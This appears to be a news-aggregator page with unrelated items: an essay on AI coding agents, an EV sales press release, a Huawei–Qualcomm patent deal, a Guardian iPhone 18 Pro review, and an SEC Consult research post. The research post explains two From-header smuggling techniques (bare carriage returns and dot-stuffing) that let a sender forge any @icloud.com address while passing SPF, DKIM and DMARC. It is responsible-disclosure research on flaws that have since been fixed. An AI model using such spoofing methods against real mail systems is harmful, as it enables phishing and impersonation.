We used to turn an idea into code, then meticulously polish that code to excellence, and ship it. Every idea had to prove its place; every line of code had to be worth the time it took to write and think about it. Writing code used to be expensive, but it isn't anymore!

Now I can turn an idea into something real in minutes, play around with it, get a feel for it, and then iterate on it or throw it away. The first attempt will probably be rubbish. That's okay. Every attempt and iteration teaches me something about where I want to go next.

There will be false starts, rabbit holes, and bugs. There will be things that fall through the cracks. Excellence doesn't have to happen on the first try. It can be eventual.

I can try five ideas in the time it previously took me to prove just one. Four might not work out. But, just like the four photos you never saw, that doesn't diminish the one that worked.

The goal is still excellence. We just don't need it at every step of the way anymore.

Do civil engineers do engineering?

If I'm no longer writing the code, what exactly am I doing? If you ponder that question, let me ask you another one: Do civil engineers do engineering?

My mom is a civil engineer. I have tons of memories of her at her giant drawing table with rice paper, rulers, pens, and razor blades, designing people's homes. With her pen she dug trenches, laid rebar, set walls, and picked the type of concrete to use without ever picking up a shovel. She was doing engineering. She was solving hard problems with hard constraints. The fact that someone else picked up a shovel, cut the rebar, set up molds, and poured the concrete doesn't take that away from her.

So don't conflate writing code with engineering.

With the agents pouring concrete, we can now focus on the thing as a whole. Not just how to implement it, but how to design it, test it, deploy it, make it accessible, bring it to other platforms, announce it, promote it, and charge for it. Instead of designing walls, we'll design homes.

Programmers will disappear, but engineering software won't. It will morph into something broader, something that's a little bit of everything. We have to become makers.

Closing thoughts

Picking up a camera won't instantly make you a photographer. Most of us walk around with a great camera in our pockets, yet few of us are actually good at using it.

If you take a single picture, compare it to the subject, and conclude "this is rubbish," that doesn't necessarily mean the camera is bad. You have to learn how to use it. Learn its limitations and how to work around them.

Photography is also a skill. It has to be practiced, explored, and honed.

Like painters in the 19th century, we are in uncharted territory. Nobody really knows what they're doing or what being good at photography even means. We're all exploring this new space and trying to figure things out, some with more success than others.

There's only one way to find out where this goes: pick up the camera.

Sales of sub-€25,000 electric car models set to rise sevenfold

Hacker News
www.transportenvironment.org
2026-10-05 03:51:14
Comments...
Original Article
Press Release

Wave of affordable electric cars is boosting consumers' choice: sales of sub-€25,000 models set to rise sevenfold

October 5, 2026

Electric car choice is expanding rapidly thanks to EU clean car targets, but weakening the 2030-35 targets would put affordable models and Europe’s position in the global EV race at risk.

European drivers are gaining access to a rapidly expanding range of more affordable electric cars, protecting drivers from Europe’s costly oil dependence. T&E’s latest EV progress report shows that the EU car CO 2 targets are delivering as electric car sales hit record highs in the first half of 2026. Sales of models with a starting price below €25,000 are set to rise sevenfold in 2026 compared to 2024. T&E warns that weakening regulation would halt the ramp-up of small affordable EVs and compromise European carmakers’ ability to compete in the global EV race.

The report shows that the regulation is delivering and bringing affordable models to the market. Almost 40 new electric models were launched in the first half of 2026, taking the number of mass market BEVs to more than 150. About 60 new models are expected to be released by the end of 2026. This is nearly 4 times more than the average 15 new models per year over the period 2021-2025. At the same time, the consumer appetite for electric models starting below €25k is finally addressed with a doubling of the number of models available. As a result, sales of electric models starting below €25k are set to increase by a factor of 7 in 2026 compared to 2024.

Lucien Mathieu, cars director at T&E, said: “ European drivers are finally seeing more of the smaller and more affordable electric cars they have been waiting for. The oil crisis has further fuelled the rush by European consumers for affordable small electric cars. VW’s ID. Polo was quickly sold out, with over 40,000 orders and a 10-month waitlist . European car makers were complaining about the lack of demand for a long time. Now we can clearly see: The issue was not the demand, but what they had to offer. The consumer’s appetite for small affordable electric cars proves the car makers' claims wrong.”

The report shows that electric cars also offer lower running costs and protection from rapidly increasing fuel prices. The oil price shock has cost EU road users €53 billion. As of mid-September, fueling a 50-litre tank of diesel costs €30 more than before the Iran war. Switching to an electric car at the beginning of the crisis would have saved around €350 in running costs by mid-September.

The combination of a wave in new electric models and high energy prices is leading electric car sales in the EU to reach record levels in 2026. A total of 1.64 million battery-electric vehicles (BEVs) were sold between January and August, 45% more than in the same period last year. BEVs outsold pure petrol cars across a full quarter for the first time ever in the second quarter of 2026, achieving a 22% share. All European carmakers are expected to achieve compliance with 2025–2027 targets which are the driver of the new wave of electric car models. During the period of flat targets between 2021 and 2024, manufacturers had limited incentives to introduce affordable models.

Lucien Mathieu said: “ The EU’s car targets are expanding consumer choice, bringing down the cost of going electric and giving European manufacturers a chance to compete in the global EV race. Weakening the 2030 target now would choke off affordable models by nearly three-quarters just as they are reaching the market and lock millions across Europe into debilitating oil dependency. ”

Stay informed

Want to receive updates from T&E?

Sign up

Huawei and Qualcomm Announce Broad Patent License Agreement

Hacker News
www.huawei.com
2026-10-05 03:46:10
Comments...
Original Article

Summary:

  • Huawei and Qualcomm today announced a multi-year, broad patent license agreement that includes cross licenses to the companies' patent portfolios across a range of technology fields, including 5G, compute, AI, and networking, together with Qualcomm's purchase of certain Huawei U.S. patents in the areas of compute, AI, networking, and other technologies.
  • This agreement not only demonstrates the value of Huawei's innovations, but also recognizes Qualcomm's foundational contributions to modern communication technologies.

[Shenzhen, China, October 5, 2026] Huawei and Qualcomm today announced a multi-year, broad patent license agreement that includes cross licenses to the companies' patent portfolios across a range of technology fields, including 5G, compute, AI, and networking, together with Qualcomm's purchase of certain Huawei U.S. patents in the areas of compute, AI, networking, and other technologies. This transaction will close following receipt of the necessary regulatory approvals. The agreement reflects the companies' shared commitment to intellectual property rights and to licensing practices consistent with fair, reasonable and non-discriminatory (FRAND) principles.

"Huawei's decades of sustained investment in fundamental R&D have driven innovation and progress in mobile communications and other technology fields. Huawei's broad contributions to the 4G/5G standards, such as the near-physical-limit signal transmission technology using polar codes, have established Huawei's leadership in the mobile communications industry, and continuously transformed the way people communicate and live," said Alan Fan, Huawei's Chief Intellectual Property Officer. "This agreement not only demonstrates the value of Huawei's innovations, but also recognizes Qualcomm's foundational contributions to modern communication technologies."

"Qualcomm has invested in foundational wireless technologies that have enabled successive generations of mobile innovation and earned broad recognition across the global wireless industry. This agreement reaffirms industry recognition of Qualcomm's 5G technology leadership and the success of Qualcomm's 5G SEP licensing program," said John Han, Executive Vice President and General Manager of Qualcomm Technology Licensing. "This agreement likewise reflects Qualcomm's recognition of Huawei's continued innovation and intellectual property in 5G and other technology fields."



FAQs:

Q1:What does the multi-year, broad patent license agreement that Huawei and Qualcomm enter into includes?

Huawei and Qualcomm enter into a multi-year, broad patent license agreement that includes:
1. Cross licenses to the companies' patent portfolios across a range of technology fields, including 5G, compute, AI, and networking.
2. Qualcomm's purchase of certain Huawei U.S. patents in the areas of compute, AI, networking, and other technologies.
This transaction will close following receipt of the necessary regulatory approvals.

From: anyone@icloud.com - Spoofing Arbitrary Apple iCloud Identities

Lobsters
sec-consult.com
2026-10-05 02:50:55
Comments...
Original Article

research vulnerability

A case study on discovering two email spoofing vulnerabilities in Apple iCloud.

(Image illustration, partially AI-generated)

(Image illustration, partially AI-generated)

In the course of a research project in collaboration with the SEC Consult Vulnerability Lab, Timo Longin ( @timolongin ) - known for SMTP smuggling - discovered two exotic email spoofing vulnerabilities in Apple iCloud's emailing infrastructure.

At the end of 2023 SMTP smuggling made a dramatic entrance, allowing email spoofing for millions of email servers worldwide. Ever wanted to send emails as admin@outlook.com while still passing SPF checks? SMTP smuggling had you covered!

However, in 2024, most SMTP implementations adapted, and released security updates for their software. Does this mean the end of SMTP smuggling? Or does this attack have more to offer?

Let's dive into a case study of Apple iCloud's SMTP parsing jungle and try to spoof emails once more!

Note: This blog post is related to SMTP Smuggling - Spoofing E-Mails Worldwide . For additional contextual and background information, we recommend reading it first.

1. TL;DR

Even though no novel techniques for traditional SMTP smuggling were discovered, a subclass of email spoofing was explored - header smuggling . Again highlighting the parsing discrepancies in SMTP implementations, header smuggling builds upon the lessons of its bigger brother SMTP smuggling. Based on a case study of Apple iCloud's emailing services, we once again reveal the dangers of trusting emails by being able to send messages from arbitrary icloud.com addresses.

2. SMTP Smuggling Recap

First of all, let's have a short recap on SMTP smuggling. With traditional SMTP smuggling, we exploited interpretation differences of the SMTP protocol between outbound (sending) and inbound (receiving) SMTP servers. More specifically, we capitalized on the fact that lots of SMTP implementations deviated from RFCs, leading to different understandings of the so-called end-of-data sequence . Since the end-of-data sequence indicates where the message data ends, we could achieve the following between vulnerable outbound and inbound SMTP servers (figure 1).

Figure 1: Different understandings of end-of-data sequences allowing to smuggle an email from admin@sender
Figure 1: Different understandings of end-of-data sequences allowing to smuggle an email from admin@sender

Now, as mentioned, this concept gets explained in detail in the original SMTP smuggling blog post . As also mentioned, this should theoretically no longer work since 2024. With SMTP implementations like Postfix, Sendmail, Exim, and more being fixed (see smtpsmuggling.com ), we must find new ways to smuggle emails. Fortunately, we have a huge bag of tricks!

3. SMTP Smuggling Reloaded?

When trying to find vulnerabilities that are based on interpretation differences in a vast protocol like SMTP, options are seemingly endless. From differing data encodings to how message data lines get handled, everything looks like a promising target. To get a rough understanding of what "promising" might be, here are some of the ideas:

  • Attacking the data conversion between DATA and BDAT and vice versa
  • Reflecting dangerous end-of-data sequences via bounce messages
  • Exploiting the handling of long lines (>1000 characters) to inject rogue <CR><LF> sequences
  • Creating or removing dot characters by exploiting non-compliant RFC behavior
  • Digging down into minuscule parsing differences in proprietary SMTP implementations
  • Analyzing complex internal SMTP sending architectures

Then, after weeks of analysis, we can proudly look at the results and see that NOTHING worked. None of the approaches above as well as none of the hundreds of attempted test cases allowed us to break out of the data section and smuggle SMTP commands. Bummer...

However, before dropping the idea of SMTP smuggling completely, another visit to the drawing board was necessary.

4. The "From" Header

With SMTP smuggling, we are trying to escape the message data section to be able to execute SMTP commands for a second email. But actually, we don't have to do that to be able to spoof the sender address. This is because most receivers do not view the sender address from the SMTP MAIL FROM command as the sending address, but the address from the From header, which is part of the message data. Hence, if we can spoof the From header, we can spoof the sender address!

However, things are not that simple. Let's look at the example below (figure 2).

Figure 2: Attempting From-header spoofing by naively setting a different From header (Apple doesn't allow this)
Figure 2: Attempting From-header spoofing by naively setting a different From header (Apple doesn't allow this)

Here we are trying to send an email as admin(at)icloud.com , even though we authenticated to the iCloud SMTP service as user(at)icloud.com. Since Apple only wants us to send with our own email address ( user(at)icloud.com ), this will be blocked with the following error message:

5.7.0 From address is not one of your addresses

It's worth noting that such authentication checks are not mandated by SMTP itself. It's a proprietary check each email provider enforces (or doesn't) on their own. However, solutions for open-source SMTP software like Postfix exist (see MilterFrom ).

So, if changing the From header is not possible, how would we spoof it? This is the point where a lot of research has already happened in the past, with one of the bigger publications being Weak Links in Authentication Chains: A Large-scale Analysis of Email Sender Spoofing Attacks from 2021. In 2024, security researcher @slonser_ has also shown ways to make exactly this possible. And just recently in 2025, Hao Wang ( @MrRed_Panda ) and Caleb Sargent ( @squared_ ) got this formalized as CERT/CC vulnerability note VU#517845 , covering ambiguous From header interpretation across major providers. The general approach is very similar to what we have had with SMTP smuggling: interpretation differences .

For instance, @slonser_ managed to send emails from any @gmail.com address to SMTP services like Outlook, by exploiting how alias names (aliases for the sender address) in the From header get parsed (figure 3).

Figure 3: From-header spoofing via alias name confusion
Figure 3: From-header spoofing via alias name confusion

In this case, Gmail thinks that the From header indicates user(at)gmail.com as sender address, allowing the email to be sent. However, when Outlook receives this email, the From header is parsed with admin(at)gmail.com as the sender address.

Now, with all of this research already done, what is there left to be discovered? Well, with our extensive knowledge on smuggling all kinds of things in the SMTP world, we can take From header spoofing for another ride!

5. From Header Smuggling @ iCloud - Line Breaks

In traditional SMTP smuggling, we were dealing with carriage returns <CR> and line feeds <LF> in end-of-data sequences <CR><LF>.<CR><LF> . But why stop there? For example, how would SMTP servers react, if we would send bare <LF> or <CR> characters as line breaks in the message data, instead of <CR><LF> ? The answer is: Differently!

Some SMTP implementations follow RFC 5321 section 2.3.8 and RFC 5322 section 2.3 when transmitting emails, which state that bare <LF> or bare <CR> characters MUST NOT be transmitted independently, others don't.

While looking at SMTP software in the testbed (see FAQ), something interesting popped up for iCloud SMTP services (figure 4).

Figure 4: <CR> parsing resulting in double From headers
Figure 4: <CR> parsing resulting in double From headers

Even though it looks like two From headers were specified on email submission, one of them contains <CR> characters before and after the colon. On authentication, the first From header containing the <CR> characters gets ignored, and the second From header is used for matching with the email address of the authenticated user. At this point, something strange happens inside of iCloud's SMTP services. The <CR> characters get stripped from the first From header and the email gets forwarded to the receiving inbound SMTP server containing two legitimate From headers. How did that happen?

5.1. iCloud Parsing Internals

Based on the observed behavior, we can assume the following internal SMTP infrastructure after an email gets sent to the iCloud submission servers at smtp.mail.me.com on port 587 (figure 5). For simplicity, we are calling them parser 1 and parser 2:

Figure 5: iCloud's internal message pipeline (simplified)
Figure 5: iCloud's internal message pipeline (simplified)

Derived from message parsing and message signatures, it is likely that parser 2 is based on Postfix. Since software for From header checks is largely custom-made, it is unclear how parser 1 works internally.

5.2. You got mail!

Even though we can now send an email with a From header having the value admin(at)icloud.com , most inbound receivers won't allow multiple From headers in the message data (see RFC 5322 section 3.6 ). In theory, we must find a mechanism that makes parser 1 see the legitimate From header to pass authentication, and that hides the legitimate From header from parser 2. In practice, we can further abuse <CR> characters. Since parser 2 replaces standalone <CR> characters with <CR><LF> , we can push the legitimate From header ( From: user(at)icloud.com ) into the message body, where it will no longer be interpreted as a header. Let's see how this can be done (figure 6).

Figure 6: Message seen by parser 1
Figure 6: Message seen by parser 1

After authenticating the sending user user(at)icloud.com , the message gets passed on to parser 2 (figure 7).

Figure 7: Message seen by parser 2
Figure 7: Message seen by parser 2

When parser 2 is done, we get mail! (figure 8)

Figure 8: Receiving an email from admin@icloud.com

Since we are smuggling a Content-Type: multipart/alternative header, we can narrow down the parts that are shown on the receiver side to data between the boundary-string markers. Since the smuggling header stops with --boundary-string-- , which indicates the end of the multipart content, everything after will be ignored. Another interesting part about this vulnerability is not only that it works for arbitrary inbound SMTP servers, but that it also passes SPF and DKIM checks, hence also passing DMARC (see figure 9).

Figure 9: Passing SPF, DKIM and DMARC security checks

So, why does DKIM, a cryptographic signature mechanism, pass, even though the message was heavily altered by message parsing/normalization?

In this case, DKIM verification passes, since DKIM signatures are created after parser 2 processed the message, just before the email gets sent to the inbound server. If the DKIM signature would be created at parser 1, DKIM signature verification would most likely fail.

Anyway, to make sure that this is not a fluke, here's an email from Apple's former CEO Tim Cook by spoofing tim.cook(at)icloud.com (could also be any other @icloud.com email address (e.g., no-reply@icloud.com)) (see figure 10 and figure 11).

Figure 10: Spoofed email from tim.cook@icloud.com


Figure 11: Spoofed email from tim.cook@icloud.com passing SPF, DKIM and DMARC security checks

6. From Header Smuggling @ iCloud - Dot-Peeling

Trying to remediate the previous parsing issue, Apple eventually adapted parser 1 (see Disclosure Timeline) to be stricter in terms of From header parsing. Headers like From\r:\radmin@icloud.com now get parsed as an actual From header and thus fail authentication. If a header starts with "From", this most likely won't allow us to find interpretation differences between parsers 1 and 2. Can we still bypass this?

We know that parser 1 and parser 2 work inherently differently, so we take another look at some SMTP RFCs. For our scenario, there is a set of rules that seems to work nicely with what we are trying to achieve: dot-stuffing .

Dot-stuffing is defined in RFC 5321 section 4.5.2 and says the following:

  1. Adding dots
    Before sending a line of mail text, the SMTP client checks the
    first character of the line. If it is a period, one additional
    period is inserted at the beginning of the line.
  2. Removing dots
    When a line of mail text is received by the SMTP server, it checks
    the line. If the line is composed of a single period, it is
    treated as the end of mail indicator. If the first character is a
    period and there are other characters on the line, the first
    character is deleted.

Since parser 1 doesn't honor these rules, the following exploit allows us to "peel" dots (see figure 12):

Figure 12: iCloud's internal message pipeline (dot-stuffing bypass)
Figure 12: iCloud's internal message pipeline (dot-stuffing bypass)

Like previously, we are now facing the issue of having two From headers in the header section of the message. We can again craft a working From header authentication bypass as follows (see figure 13):

Figure 13: Message seen by parser 1
Figure 13: Message seen by parser 1

In this case, parsing of a dot-colon sequence ( .: break ) was abused to cause a separation of message header and body sections in parser 2 (figure 14).

Figure 14: Message seen by parser 2
Figure 14: Message seen by parser 2

As a final proof-of-concept, here is another email from tim.cook(at)icloud.com (figure 15 and figure 16).

Figure 15: Spoofed email from tim.cook@icloud.com via dot-stuffing/peeling

Figure 16: Spoofed email from tim.cook@icloud.com passing SPF, DKIM and DMARC security checks

7. Detectability and Defense

Even though we managed to bypass From header authentication, the methods we used still leave some traces that a careful analyst or provider-aware filter might notice. The raw email contains the following "indicators" for the original email address (e.g., attacker(at)icloud.com ):

ARC-Authentication-Results: i=1; mx.google.com; dkim=pass header.i=@icloud.com header.s=1a1hai header.b=eUsqthuD;
spf=pass (google.com: domain of attacker@icloud.com designates 17.57.155.19 as permitted sender)
smtp.mailfrom=attacker@icloud.com; dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=icloud.com

Return-Path: <attacker@icloud.com>

Received: from qs51p00im-qukt01080102.me.com (qs51p00im-qukt01080102.me.com. [17.57.155.19])
by mx.google.com with ESMTPS id d75a77b69052e-46e66b61d89si95295111cf.213.2025.01.27.08.16.06 for
<receiver@gmail.com> (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
Mon, 27 Jan 2025 08:16:06 -0800 (PST) Received-SPF: pass (google.com: domain of attacker@icloud.com
designates 17.57.155.19 as permitted sender) client-ip=17.57.155.19;

Authentication-Results: mx.google.com; dkim=pass header.i=@icloud.com header.s=1a1hai header.b=eUsqthuD;
spf=pass (google.com: domain of attacker@icloud.com designates 17.57.155.19 as permitted sender)
smtp.mailfrom=attacker@icloud.com; dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=icloud.com

Since usually there is no mismatch between the envelope MAIL FROM address (Return-Path) in emails coming from iCloud, this could be flagged by some heuristics. However, as it is, this is a legitimate and authenticated email.

8. Responsible Disclosure

The process of disclosing non-standard email parsing issues takes time. After roughly one and a half years of back and forth communication, we finalized the disclosure with Apple.

Apple didn't take this issue lightly. They rewarded a $15,000 bounty for the discovery of these vulnerabilities. (see figure 17).

Figure 17: Apple bug bounty

This not only demonstrates great appreciation for this kind of research, but may also lay the foundation of a new bug bounty branch. Emailing is widely used in phishing attacks and scams, yet spoofing vulnerabilities are often out-of-scope or not considered dangerous enough. Such bug bounties could convince other providers to take these reports more seriously, and be an incentive to bring new researchers/bug hunters into the field.

9. Conclusion

Whether SMTP smuggling or smuggling inside of SMTP, parsing issues in old and complex protocols like SMTP will always remain. This research again highlights how hard SMTP is to parse, yet how easily it can be exploited. For Apple's iCloud SMTP services, we've looked at two different cases of email spoofing that are rooted in ambiguous parsing in parts of Apple's own infrastructure.

As previous research shows, this is not an isolated case. From large-scale analysis to independent researchers finding new bypasses year after year, spoofing keeps resurfacing across providers, old and new alike. This post adds two more examples to that pattern and proves that even mature, heavily used email infrastructure can be exploited to undermine sender identity entirely. Unfortunately, based on what was discovered so far, this is unlikely to be the last stop on this journey. Sender identity in emailing will most likely remain far less solid than most users assume.

10. FAQ

Does that mean legacy SMTP smuggling is all fixed and no longer possible?

With the vulnerability being released at the end of 2023, lots of SMTP implementations fixed their parsing issues right away. However, unpatched systems, novel smuggling approaches, and smaller SMTP implementations might still be around. For more information, check out Email Spoofing with SMTP Smuggling: How the Shared Email Infrastructures Magnify this Vulnerability .

Where can I find more information about SMTP smuggling?
Here!

What SMTP software did we analyze?

We again analyzed a mixture of proprietary and open-source SMTP software hosted at email service providers or on our own servers, including:

  • outlook.com
  • gmail.com
  • gmx.net
  • icloud.com
  • zoho.com
  • fastmail.com
  • runbox.com
  • startmail.com
  • mailbox.org
  • aol.com
  • yahoo.com
  • web.de
  • Postfix
  • Sendmail
  • Exim
  • Sendgrid
  • Mandrill
  • Mailgun

Note that a lot of enterprise-grade solutions could not be tested.

11. Disclosure Timeline

2024-05-21 Initial vulnerability report submitted to Apple: icloud.com SMTP services can be abused via CRLF injection in the From: header to send spoofed emails (e.g., admin@icloud.com) with valid DKIM/DMARC. PoC files and script attached; credit line requested for Timo Longin / SEC Consult Vulnerability Lab.
2024-06-06 Follow-up requesting a status update and fix timeline; Apple responds that the issue is still under investigation and asks that details not be disclosed until fixed.
2024-06-27 Follow-up requesting a status update.
2024-06-29 Apple reports no new status update.
2024-08-01 SEC Consult confirms the PoC script no longer works and asks Apple to confirm a fix was made.
2024-08-09 Apple reports no new status update, thanks SEC Consult for patience.
2024-09-01 Follow-up requesting a status update.
2024-09-11 Apple reports still investigating, no new updates to share.
2024-10-07 Follow-up checking the issue hasn't been forgotten.
2024-10-08 SEC Consult notes an upcoming SMTP smuggling talk at IT-SECX (Oct 11) that will not disclose new vulnerability details; asks Apple for a fix timeline.
2024-10-17 Apple states changes have been made and asks SEC Consult to confirm current behavior.
2024-11-01 SEC Consult confirms the original PoC (CRLF injection in From: header) is no longer exploitable; proposes public disclosure at BSidesVienna on Nov 23, 2024, plus a blog post in December.
2024-11-04 Apple confirms the report as remediated and asks to review a draft of the planned disclosure.
2024-11-07 Draft BSidesVienna slides shared with Apple (attachment failed to send).
2024-11-09 Apple reports the attachment wasn't received; asks SEC Consult to resend.
2024-11-11 Slides resent; SEC Consult asks Apple for root-cause details (proprietary iCloud SMTP vs. third-party software).
2024-11-19 Apple confirms the report qualifies for the Apple Security Bounty and awards $15,000.
2024-12-06 SEC Consult discovers a second, related parsing issue enabling From-header spoofing via a different method; Apple asks that it be filed as a separate report.
2024-12-07 New report opened and tracked as OE196504222209; Apple acknowledges receipt.
2024-12-11 SEC Consult reports the deployed fix is insufficient - it merely blacklists the POC substring "admin" in the From: header rather than fixing the root parsing flaw, leaving most other @icloud.com addresses spoofable and potentially breaking mail for legitimate users with "admin" somewhere in their address.
2024-12-12 SEC Consult provides a new working PoC spoofing security@icloud.com, with supporting screenshots, raw message, and script.
2024-12-16 Apple acknowledges the additional information and states it will follow up if further details are needed.
2025-01-28 SEC Consult shares further technical analysis, noting Postfix's smtpd_sender_login_maps limitations and recommending a Milter-based filter (e.g., milterfrom) that checks the From: header against the final email data before sending, as a likely root-cause fix.
2025-01-29 Apple acknowledges the analysis, states the issue is still under investigation.
2025-03-28 SEC Consult confirms the vulnerability is still exploitable. Apple replies (marked confidential) that a fix is planned for a future security update and asks that disclosure wait until it ships.
2025-04-04 SEC Consult agrees to hold disclosure and asks for a rough timeframe; Apple says more information will be available in the coming weeks.
2025-05-22 SEC Consult asks for an update, noting the issue remains exploitable.
2025-05-24 Apple reports an update was released in the prior 48 hours and asks SEC Consult to reassess whether the issue is remediated.
2025-06-10 Apple follows up again asking SEC Consult to confirm whether the update fixed the issue.
2025-06-13 SEC Consult confirms a bypass still exists, working the same way as described in report OE196504222209; Apple acknowledges and says it will review.
2025-07-17 SEC Consult asks for a fix update, noting a conference talk planned in about two months.
2025-07-22 Apple states the issue is still under investigation and reminds SEC Consult that bounty eligibility requires no public disclosure before an update ships with a security advisory.
2025-09-10 SEC Consult reports the conference talk was cancelled and asks for a status update.
2025-09-12 Apple replies (marked confidential) that a fix is planned for a future security update "in the near future" and again asks for continued non-disclosure.
2025-10-08 SEC Consult reports the vulnerability is still exploitable and asks whether the update has shipped.
2025-10-10 Apple states changes are being implemented and more information will follow soon.
2025-11-11 SEC Consult confirms the previous PoC spoofing method no longer works; asks Apple to confirm the fix is fully rolled out.
2025-11-12 Apple confirms the updates have been pushed out and asks SEC Consult to review.
2025-11-14 SEC Consult confirms they will review the fix.
2025-12-09 SEC Consult confirms the deployed fixes remediate the original issue.
2026-10-01 Public release of technical blog post

About the author

Portrait of Timo Longin SEC Consult


SEC Consult
Principal Security Consultant

Timo Longin (also known as Login) is a principal security consultant at SEC Consult at day and a security researcher at night. Aside from everyday security assessments, he publishes blog posts and security tools, holds talks at conferences and universities, and has a passion for CTFs. As a well-rounded offensive security researcher, he tries to find forgotten and new exploitation techniques that make the unthinkable possible!

Apple iPhone 18 Pro review: big changes for small differences

Guardian
www.theguardian.com
2026-10-05 02:00:49
Longer battery life, better screen, upgraded Siri and new variable aperture camera in refreshed design from last year’s model Apple’s smaller Pro iPhone gets the best kind of spec bump for 2026: longer battery life, faster chips and a fancy new variable aperture for the main camera. The iPhone 18 Pr...
Original Article

Apple’s smaller Pro iPhone gets the best kind of spec bump for 2026: longer battery life, faster chips and a fancy new variable aperture for the main camera.

The iPhone 18 Pro is one of a pair of slab phones launched alongside Apple’s first folding phone , the iPhone Duo, and is the cheapest of the new phones, with a regular iPhone 18 yet to be announced.

It isn’t exactly low cost, priced from £1,199 (€1,449/$1,199/A$2,099), with a £100 or equivalent rise over previous models courtesy of RAMageddon .

Having fully revamped the design of the body for the iPhone 17 Pro , the new model is a modest refinement. It is 7g heavier and the back glass now matches the colour of the aluminium body, which is available in a handful of new shades.

The top of an iPhone 18 Pro screen, showing Google and Calendar
The dynamic island at the top of the screen can now show three live activities at once, such as music playback, a timer and maps navigation. Photograph: Samuel Gibbs/The Guardian

Apple has shrunk the amount of the screen taken up by the Face ID camera, allowing the dynamic island to show three continuing tasks, up from two on previous devices. It also now shows the 3/4/5G indicator next to the signal level when playing music, which is a most appreciated feature for public transport commuters sorely missed on previous models.

Otherwise, the 6.3in screen is one of the very best on a phone: super bright, crisp and smooth, while being big enough without making the phone enormous. An anti-glare coating makes it much easier to see outside, too.

Specifications

  • Screen: 6.3in Super Retina XDR (120Hz OLED) (460ppi)

  • Processor: Apple A20 Pro

  • RAM: 12GB

  • Storage: 256GB, 512GB or 1TB

  • Operating system: iOS 27

  • Camera: 48MP + 48MP UW + 48MP 4x, 18MP front-facing

  • Connectivity: 5G, wifi 7, NFC, Bluetooth 6, Thread, USB-C, Satellite, UWB and GNSS

  • Water resistance: IP68 (6 metres for 30 mins)

  • Dimensions: 150 x 71.9 x 8.75mm

  • Weight: 211g

Faster chip and longer battery life

The USB-C port of the iPhone 18 Pro
A full charge takes 59 minutes, hitting 80% in 33 minutes, using a 60W or greater USB-C adaptor. Photograph: Samuel Gibbs/The Guardian

The 18 Pro has Apple’s new A20 Pro chip, which is about 27% faster than the A19 Pro in last year’s model, with about 45% faster graphics performance. Since the A19 Pro was no slouch, that’s quite the leap and puts it miles ahead of the competition, ready to handle anything.

The phone has a redesigned cooling system for longer peak performance, too, which is especially useful for running games on top settings.

The battery lasts a solid six hours longer than the iPhone 17 Pro, managing to stretch to about two days between charges with more than six hours of active screen use across apps, browsing, messaging and photos. Even with the heaviest of use while out and about, the 18 Pro managed to end the day with 40% left in the tank. Most people will only need to charge it every other day.

iOS 27 with new Siri

The iPhone 18 Pro leaning against some books showing a home screen full of app icons
The new iOS 27 is familiar but faster and debuts Apple’s attempt to catch up to the competition on AI. Photograph: Samuel Gibbs/The Guardian

The 18 Pro ships running iOS 27 , which was released for the rest of the iPhone line on 14 September. It refines the relatively controversial Liquid Glass redesign from last year and speeds up the system, including app launches. But the big new addition is Apple’s revamped Siri, backed by Google’s AI technologies.

Siri AI, as the new system is called , is significantly more capable of understanding and answering questions than previous iterations. It is a chatbot like most other AI assistants, but it is less chatty and sycophantic than others, being more likely to just get the job done. As well as a choice of voices, there are sliders to control how fast it talks and how expressive its responses are. It has its own app where you can review previous interactions, but it is accessible anywhere on the phone via the side button, is built into Spotlight search and can see what’s on your screen, including when using the camera.

It can also offer suggestions, such as adding an event to your calendar from the messages or mail apps, and attempts to display relevant information from your emails in the phone app when you call a business. But Siri can only do so if you use Apple’s apps, so if you use WhatsApp for texting and Gmail for your email, none of it works.

Sustainability

The battery will last more than 1,000 full-charge cycles with at least 80% of its original capacity and can be replaced for £119 . Out-of-warranty screen repairs cost £349 . The specialists iFixit awarded the phone a seven out of 10 for repairability.

It contains more than 40% recycled material. The company breaks down the phone’s environmental impact in its report. Apple offers trade-in and free recycling schemes, including for non-Apple products.

Camera

The iPhone 18 Pro camera app showing the new aperture control settings
The camera app has new customisable shortcuts to your most used tools and settings, as well as aperture, shutter speed and exposure controls. Photograph: Samuel Gibbs/The Guardian

The 18 Pro has a similar camera system to last year’s 17 Pro with one big addition, a variable aperture for the main camera.

skip past newsletter promotion

That means it has a very good 18MP centre stage selfie camera on the front and three 48MP cameras on the rear: main, 0.5x ultrawide and 4x telephoto.

The ultrawide is one of the best on a phone, handy for landscapes and group shots. The 4x telephoto is very good too, full of detail and manages lower light settings well. It shoots excellent photos with a crop zoom to reach 8x before digital zoom is required, which is a little behind rivals with 5x/10x telephoto zooms.

The variable aperture on the main camera can be left on automatic or controlled manually. It allows the camera to open wider than previous models for better low light performance, speeding up night mode shots and reducing unwanted motion blur.

But it also enables a number of creative uses, such as making starbursts by narrowing the aperture when shooting lights, which is very fun, or controlling the depth of field in your photo. However, because the iPhone’s camera is tiny compared with an APS-C or full-frame camera, the difference in depth of field – where the foreground and background of the image are either in focus or blown out for a nice bokeh effect – is pretty minor. When shooting something up close, manually closing the aperture to f / 4.0 can bring things in the foreground or background into focus, but otherwise the difference for most shots is small.

The camera cluster of the iPhone 18 Pro
You can see the six aperture blades open and close on the bottom left camera lens using a torch. Photograph: Samuel Gibbs/The Guardian

The 18 Pro’s camera has a number of other useful upgrades. My favourite is AI-powered focus tracking that keeps a subject in focus as it moves about or into and out of the frame, which has been one of the best features of a Pixel camera for years and is extremely handy for fast-moving children or pets.

Apple has also added texture and grain control to its Photographic Styles feature to customise how the camera shoots photos beyond what was introduced with the iPhone 16 Pro , including film simulation. Finally, the new Apple Reference Image feature can sign an image for authenticity, on a per pixel level directly on the sensor, to help later prove a shot is not AI-generated, similar to a digital negative.

The camera shoots some of the very best video on a phone, too. New for this year is the ability to convert a regular video to a cinematic one after the fact , a bit like the excellent automatic portrait mode for photos.

Price

The iPhone 18 Pro costs from £1,199 (€1,449/ $1,199 / A$2,099 ).

For comparison, the iPhone 17 costs £899 , the iPhone Air costs £1,099 , the iPhone 18 Pro Max costs £1,299 , the Google Pixel 11 Pro costs £1,079 and the Samsung Galaxy S26 Ultra costs £1,359 .

Verdict

The iPhone 18 Pro is an iterative upgrade on an already great device from last year. Inside, it has some quite big changes, but their impact is fairly minor on the whole experience.

